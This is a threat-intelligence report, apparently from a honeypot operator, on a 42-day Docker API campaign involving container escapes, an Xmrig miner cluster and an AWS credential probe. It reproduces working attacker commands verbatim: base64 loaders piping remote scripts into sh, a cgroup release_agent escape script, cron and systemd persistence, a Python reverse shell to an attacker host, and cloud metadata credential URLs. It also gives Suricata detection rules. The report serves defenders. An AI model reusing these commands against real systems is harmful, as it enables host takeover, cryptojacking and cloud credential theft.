Docker API escape + cryptominer campaign
A 42-day Docker API exploitation campaign combining container-escape techniques, a dormant Xmrig cryptominer sub-cluster, and a one-shot cloud-credential probe
Last updated 2026-07-02.
Executive summary
One attacker spent weeks breaking out of Docker containers onto the host machine underneath them, trying five different escape routes and logging well over 200,000 commands along the way. A separate group used the same exposed API to install a full cryptomining toolchain, and a third opportunist made a single grab at cloud credentials through the same door. By the time of this update, two of those three actors had gone quiet, while the original exploiter kept going, just far slower than at its peak.
Over a 42-day window (2026-05-21 through 2026-07-01), sensors observed a sustained campaign targeting
exposed Docker APIs. The primary actor (45.198.224.5) generated over 208,000 commands across
30 sensors, employing five distinct container escape techniques — chroot /host,
chroot /hostfs, chroot /mnt, cgroup release_agent exploitation,
and cron persistence on the host filesystem. The escaped payload downloads and executes a script from
5.182.210.61 via base64-encoded commands, establishing both immediate and recurring persistence.
Command volume peaked at 28,000–30,000/day on 2026-06-15/16, then declined roughly 88% to
~3,500/day by 2026-07-01 — the actor remains active but has throttled back sharply from peak.
VirusTotal now flags the earliest captured loader variant (first seen 2026-06-15) as
downloader.bashdlod/gen2 (15/62 engines); two later same-family variants (06-22, 06-29)
are not yet indexed by any engine.
A second cluster of actors (120.26.46.187, 45.76.202.47,
115.29.236.117, 31.56.48.179) deploys a full Xmrig
cryptominer toolchain with config file, scanner binary, cron + systemd persistence, and a Python reverse
shell on TCP port 666, cross-fetching payloads from one another's IPs rather than each self-hosting.
A fifth address, 198.13.47.111, is baked into several of these payloads as a fetch/callback
target but has no confirmed inbound session of its own in our sensor data — it is C2/distribution
infrastructure, not a fourth attacking IP. This sub-cluster's most recent confirmed activity was
2026-07-01. Separately, a distinct actor (157.245.241.172) used the same exposed
Docker API to probe AWS instance metadata for IAM credentials on 2026-06-30 — a one-shot credential-theft
attempt unrelated to the primary exploiter or the Xmrig cluster. VMware/ONVIF infrastructure probing was
also observed earlier in the campaign.
Threat actor profile
| Attribute | Assessment |
|---|---|
| Primary IP | 45.198.224.5 — 208,790 Docker commands across 30 sensors over a 42-day sustained campaign; volume has since declined sharply from its mid-June peak (see Executive Summary) |
| Secondary cluster | 4 IPs deploying Xmrig + reverse shell toolchain, cross-fetching from a 5th referenced C2/distribution host (198.13.47.111) — dormant since 2026-07-01 |
| Tertiary actor | 157.245.241.172 — one-shot AWS IMDS credential-theft probe via same exposed API, 2026-06-30 |
| Sophistication | High — multiple container escape methods, cgroup exploitation, multi-layer persistence |
| Intent | Cryptomining (Xmrig, now dormant), persistent access (reverse shell + cron + systemd), cloud credential theft |
| First observed | 2026-05-21 |
| Last observed | 2026-07-01 (active, declining volume) |
Infrastructure analysis
┌─────────────────────────────────────────────────────────────────┐
│ Docker API exploitation + container escape │
└─────────────────────────────────────────────────────────────────┘
Attacker 45.198.224.5 ──▶ Docker API (exposed :2375/:2376)
│
├── chroot /host ──▶ host filesystem
├── chroot /hostfs ──▶ host filesystem (alt mount)
├── chroot /mnt ──▶ mounted volumes
├── cgroup release_agent ──▶ kernel-level escape
└── /host/etc/cron.d/pwn ──▶ cron persistence on host
All paths execute:
base64 → wget -O- http://5.182.210.61/ok | sh
|| curl -s http://5.182.210.61/ok | sh
┌─────────────────────────────────────────────────────────────────┐
│ Xmrig miner + reverse shell cluster (separate actors + a │
│ shared distribution/callback host, 198.13.47.111) │
└─────────────────────────────────────────────────────────────────┘
198.13.47.111:80 ──▶ .real_mnd (miner), .mconf (config),
120.26.46.187:80 ──▶ scanner-bin (self-propagation)
45.76.202.47:80 ──▶ w (cron-persisted wrapper)
115.29.236.117:80 ──▶ arch-specific: arm64/xmrigMiner, i386/xmrigMiner
31.56.48.179:80 ──▶
│
├── /tmp/xm (miner binary)
├── /tmp/xc (config file)
├── /tmp/.s (scanner binary)
├── /etc/cron.d/net-check (cron persistence, 1-min interval)
├── kernel-audit.service (systemd persistence, auto-restart)
└── TCP:666 (Python reverse shell, 30s retry loop)
C2 / distribution infrastructure
| IP | Role | Path / Port | Notes |
|---|---|---|---|
5.182.210.61 | Payload distribution | /ok | Primary Docker escape payload server |
45.205.1.59 | Payload distribution | /ok | Secondary payload server (base64 variant) |
198.13.47.111 | Xmrig C2 + distrib (referenced only) | :80 + :666 | Miner, config, scanner, reverse-shell target embedded in other cluster members' commands — no confirmed inbound session from this IP itself |
120.26.46.187 | Xmrig C2 + distrib | :80 + :666 | Same toolchain, adds systemd service |
45.76.202.47 | Xmrig C2 + distrib | :80 + :666 | Same toolchain |
115.29.236.117 | Xmrig distrib | :80 | Arch-adaptive: selects binary by uname -m |
31.56.48.179 | Xmrig C2 + distrib | :80 + :666 | Same toolchain |
45.198.224.5 | Scanner / exploiter | — | 208,790+ Docker API commands, 42-day sustained |
Container escape techniques
1. chroot /host, /hostfs, /mnt
The attacker attempts three filesystem mount paths to reach the host filesystem from within the container. Each variant executes the same base64-encoded payload:
# Direct execution (21,469 times)
echo d2dldCAtTy0gaHR0cDovLzUuMTgyLjIxMC42MS9vayB8IHNoIHx8IG...
|base64 -d|sh
# chroot /host (35,937 times)
chroot /host sh -c "echo d2dldCAtTy0gaHR0cDovLzUuMTgyLjIxMC42MS9vayB8...
|base64 -d|sh"
# chroot /hostfs (16,836 times)
chroot /hostfs sh -c "echo d2dldCAtTy0gaHR0cDovLzUuMTgyLjIxMC42MS9vayB8...
|base64 -d|sh"
# chroot /mnt (16,318 times)
chroot /mnt sh -c 'echo d2dldCAtTy0gaHR0cDovLzUuMTgyLjIxMC42MS9vayB8...
|base64 -d|sh'
# Decoded payload:
wget -O- http://5.182.210.61/ok | sh || curl -s http://5.182.210.61/ok | sh
2. cgroup release_agent escape
A kernel-level container escape exploiting the cgroup release_agent feature. The
attacker writes a payload to /cmd, registers it as the cgroup release agent, then
triggers cgroup notification to execute it on the host:
d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null | head -n1))
[ -z "$d" ] && exit 1
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
hp=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
printf '#!/bin/sh\n%s\n' "wget -O- http://5.182.210.61/ok|sh||curl -s http://5.182.210.61/ok|sh" > /cmd
chmod +x /cmd
echo "$hp/cmd" > $d/release_agent
sh -c "echo \$\$ > $d/w/cgroup.procs"
3. Cron persistence on host
# Write to host's cron directory (688 times)
printf '%s\n' "* * * * * root wget -O- http://5.182.210.61/ok|sh||curl -s http://5.182.210.61/ok|sh" \
> /host/etc/cron.d/pwn
chmod 644 /host/etc/cron.d/pwn
4. Loop persistence (nohup + chroot)
# Decoded: while true;do wget -O- http://5.182.210.61/ok|sh||curl -s http://5.182.210.61/ok|sh;sleep 300;done
chroot /host sh -c "while true;do wget -O- http://5.182.210.61/ok|sh||curl -s http://5.182.210.61/ok|sh;sleep 300;done"
5. Additional variants
The attacker also uses eval $(echo ... | base64 -d), busybox sh -c,
nohup ... >/dev/null 2>&1 &, and writes scripts to /host/p.sh
and /mnt/p.sh with chmod 777 — maximizing the chance of successful
execution across heterogeneous Docker configurations.
Xmrig cryptominer deployment chain
A separate cluster of IPs deploys a full Xmrig toolchain via the Docker API. Representative
payload (observed from 45.76.202.47; 198.13.47.111 is the embedded
fetch/callback target, not the sending IP):
# 1. Download miner + config + scanner (multi-method fallback)
curl -sLo /tmp/xm http://198.13.47.111:80/.real_mnd
wget -q -O /tmp/xm http://198.13.47.111:80/.real_mnd
curl -sLo /tmp/xc http://198.13.47.111:80/.mconf
wget -q -O /tmp/xc http://198.13.47.111:80/.mconf
# 2. Launch miner
chmod +x /tmp/xm
/tmp/xm -c /tmp/xc >/dev/null 2>&1 &
# 3. Launch scanner (self-propagation)
curl -sLo /tmp/.s http://198.13.47.111:80/scanner-bin
chmod +x /tmp/.s
/tmp/.s >/dev/null 2>&1 &
# 4. Cron persistence (1-minute interval)
echo '*/1 * * * * root (curl -sLo /tmp/.w http://198.13.47.111:80/w)&&sh /tmp/.w' \
> /etc/cron.d/net-check
# 5. Systemd persistence (auto-restart)
cat > /etc/systemd/system/kernel-audit.service << 'UNIT'
[Unit]
Description=Kernel Audit
After=network.target
[Service]
Type=simple
ExecStart=/bin/sh -c "(curl -sLo /tmp/.w http://120.26.46.187:80/w)&&sh /tmp/.w"
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
UNIT
systemctl daemon-reload
systemctl enable --now kernel-audit.service
# 6. Python reverse shell (TCP:666, 30s retry)
while true; do
python3 -c "import socket,subprocess,os; s=socket.socket(); s.settimeout(30); \
s.connect(('198.13.47.111',666)); os.dup2(s.fileno(),0); \
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); \
subprocess.call(['/bin/sh','-i'])" 2>/dev/null
sleep 30
done
Cloud metadata exfiltration
# AWS IMDSv1 (no token required)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/info
# GCP metadata (requires Metadata-Flavor: header — attacker likely adds it)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Infrastructure probing
The attacker also probes for VMware vSphere SOAP APIs and ONVIF device management:
# VMware vSphere ServiceInstance discovery
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<RetrieveServiceContent xmlns="urn:internalvim25">
<_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</soap:Body>
</soap:Envelope>
# ONVIF device info
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:tds="http://www.onvif.org/ver10/device/wsdl">
<s:Body><tds:GetDeviceInformation/></s:Body>
</s:Envelope>
Sample analysis
Three sha256-distinct variants of the same loader script (identical shape: multi-arch fallback fetching numbered binaries from the distro server) have been captured. Only the oldest has enough VirusTotal scan history to be flagged:
| SHA256 | First Seen | Size | VT Detections | Family |
|---|---|---|---|---|
1f59062d...53f43 | 2026-06-15 | 1,644B | 15/62 | downloader.bashdlod/gen2 |
ec939c3d...4ed6653 | 2026-06-22 | 1,584B | not yet indexed | — |
7605f0bc...9fc4a8 | 2026-06-29 | 1,584B | not yet indexed | — |
The loader itself fetches multiple arch-specific binaries by numeric ID (e.g. /37f192,
/52c071, /dfb8e7, /fac0ee) from the same distribution host —
none of these binaries have been recovered, as the distro server rotates the numbered paths faster
than our 5-minute dropper-chase cycle can retrieve them (all attempts return HTTP 404 by pickup time).
An open-directory probe against 5.182.210.61 confirmed the server is a
Go-based HTTP server with an open, browsable document root — still live and reachable as of this
update. The file count drifts as the operator rotates payloads, so no single-point-in-time figure
is cited here.
MITRE ATT&CK mapping
| ID | Technique | Evidence |
|---|---|---|
| T1611 | Escape to Host | chroot /host, /hostfs, /mnt; cgroup release_agent |
| T1053.003 | Cron | /etc/cron.d/net-check, /host/etc/cron.d/pwn |
| T1543.002 | Systemd Service | kernel-audit.service with auto-restart |
| T1496 | Resource Hijacking | Xmrig miner deployment with config file |
| T1552.005 | Cloud Instance Metadata API | AWS IMDS + GCP metadata endpoint probing |
| T1105 | Ingress Tool Transfer | wget/curl/python urllib downloads from C2 |
| T1071.001 | Web Protocols (C2) | HTTP downloads from 5 C2 IPs; Python reverse shell on TCP:666 |
| T1059.006 | Python | Python reverse shell with socket/subprocess |
| T1140 | Deobfuscate/Decode Files or Information | echo <base64> | base64 -d | sh across all escape variants |
Campaign timeline
| Date | Event |
|---|---|
| 2026-05-21 | First Docker escape commands observed. 45.198.224.5 begins sustained campaign (corrects earlier 05-25 first-seen estimate). |
| 2026-05-27 | VMware SOAP + ONVIF probing observed alongside Docker exploits. |
| 2026-06-15 / 06-16 | Command volume spikes to 28,000–30,000/day, the campaign's peak (up from a few hundred/day baseline). Loader variant captured same day is the only one later flagged by VirusTotal (15/62). |
| 2026-06-16 | Xmrig cluster begins miner deployment (120.26.46.187 first observed; corrects earlier 05-25 estimate). |
| 2026-06-23 | Xmrig cluster adds 115.29.236.117 with arch-adaptive binary selection (corrects earlier 06-05 estimate). |
| 2026-06-24 | Prior report published. Campaign still active at high volume. |
| 2026-06-30 | Distinct actor 157.245.241.172 hits the same exposed Docker API on 8 sensors within ~110 seconds, probing 169.254.169.254/latest/meta-data/iam/security-credentials/ for AWS IAM credentials — a separate, one-shot-per-sensor credential-theft attempt (one earlier isolated probe from the same IP was also observed on 06-29). |
| 2026-07-01 | Command volume down to ~3,500/day (~88% below peak) but 45.198.224.5 remains active on 24 sensors. This is also the Xmrig/scanner cluster's last confirmed activity (120.26.46.187 fetching from cluster-mate 31.56.48.179); no further cluster sightings after this date. Open-directory probe confirms 5.182.210.61 still live and serving files. |
Indicators of compromise
Network — IPs
File hashes — SHA256
Network — URLs
Host — persistence artifacts
Network — C2 port
Cloud metadata endpoints probed
Detection signatures
Suricata — Docker API base64 payload
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"cowrAI Docker API base64-encoded payload injection";
flow:to_server,established;
http.request_body; content:"d2dldCAt";
content:"base64"; distance:0;
content:"chroot"; nocase;
threshold:type both, track by_src, count 3, seconds 60;
classtype:trojan-activity; sid:9003010001; rev:1;
)
Suricata — cgroup release_agent escape
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"cowrAI Docker cgroup release_agent container escape";
flow:to_server,established;
http.request_body; content:"notify_on_release";
content:"release_agent"; distance:0;
content:"cgroup.procs"; distance:0;
classtype:trojan-activity; sid:9003010002; rev:1;
)
Suricata — Xmrig C2 beacon (TCP:666)
alert tcp $HOME_NET any -> $EXTERNAL_NET 666 (
msg:"cowrAI Docker Xmrig reverse shell C2 beacon";
flow:to_server,established;
dsize:<200;
threshold:type both, track by_src, count 5, seconds 150;
classtype:trojan-activity; sid:9003010003; rev:1;
)
Suricata — Cloud metadata exfiltration
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"cowrAI Cloud metadata exfiltration from container";
flow:to_server,established;
http.host; content:"169.254.169.254";
http.uri; content:"/iam/security-credentials/";
classtype:trojan-activity; sid:9003010004; rev:1;
)
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"cowrAI GCP metadata exfiltration from container";
flow:to_server,established;
http.host; content:"metadata.google.internal";
http.uri; content:"/service-accounts/default/token";
classtype:trojan-activity; sid:9003010005; rev:1;
)
Collection methodology
Data collected by a distributed honeypot fleet running custom protocol lures that emulate exposed Docker APIs. All commands were captured at the application layer and ingested into a time-series database for analysis. The lures emulate a Docker API endpoint accepting container management commands; attacker commands are logged verbatim including base64-encoded payloads, which were decoded offline for this report.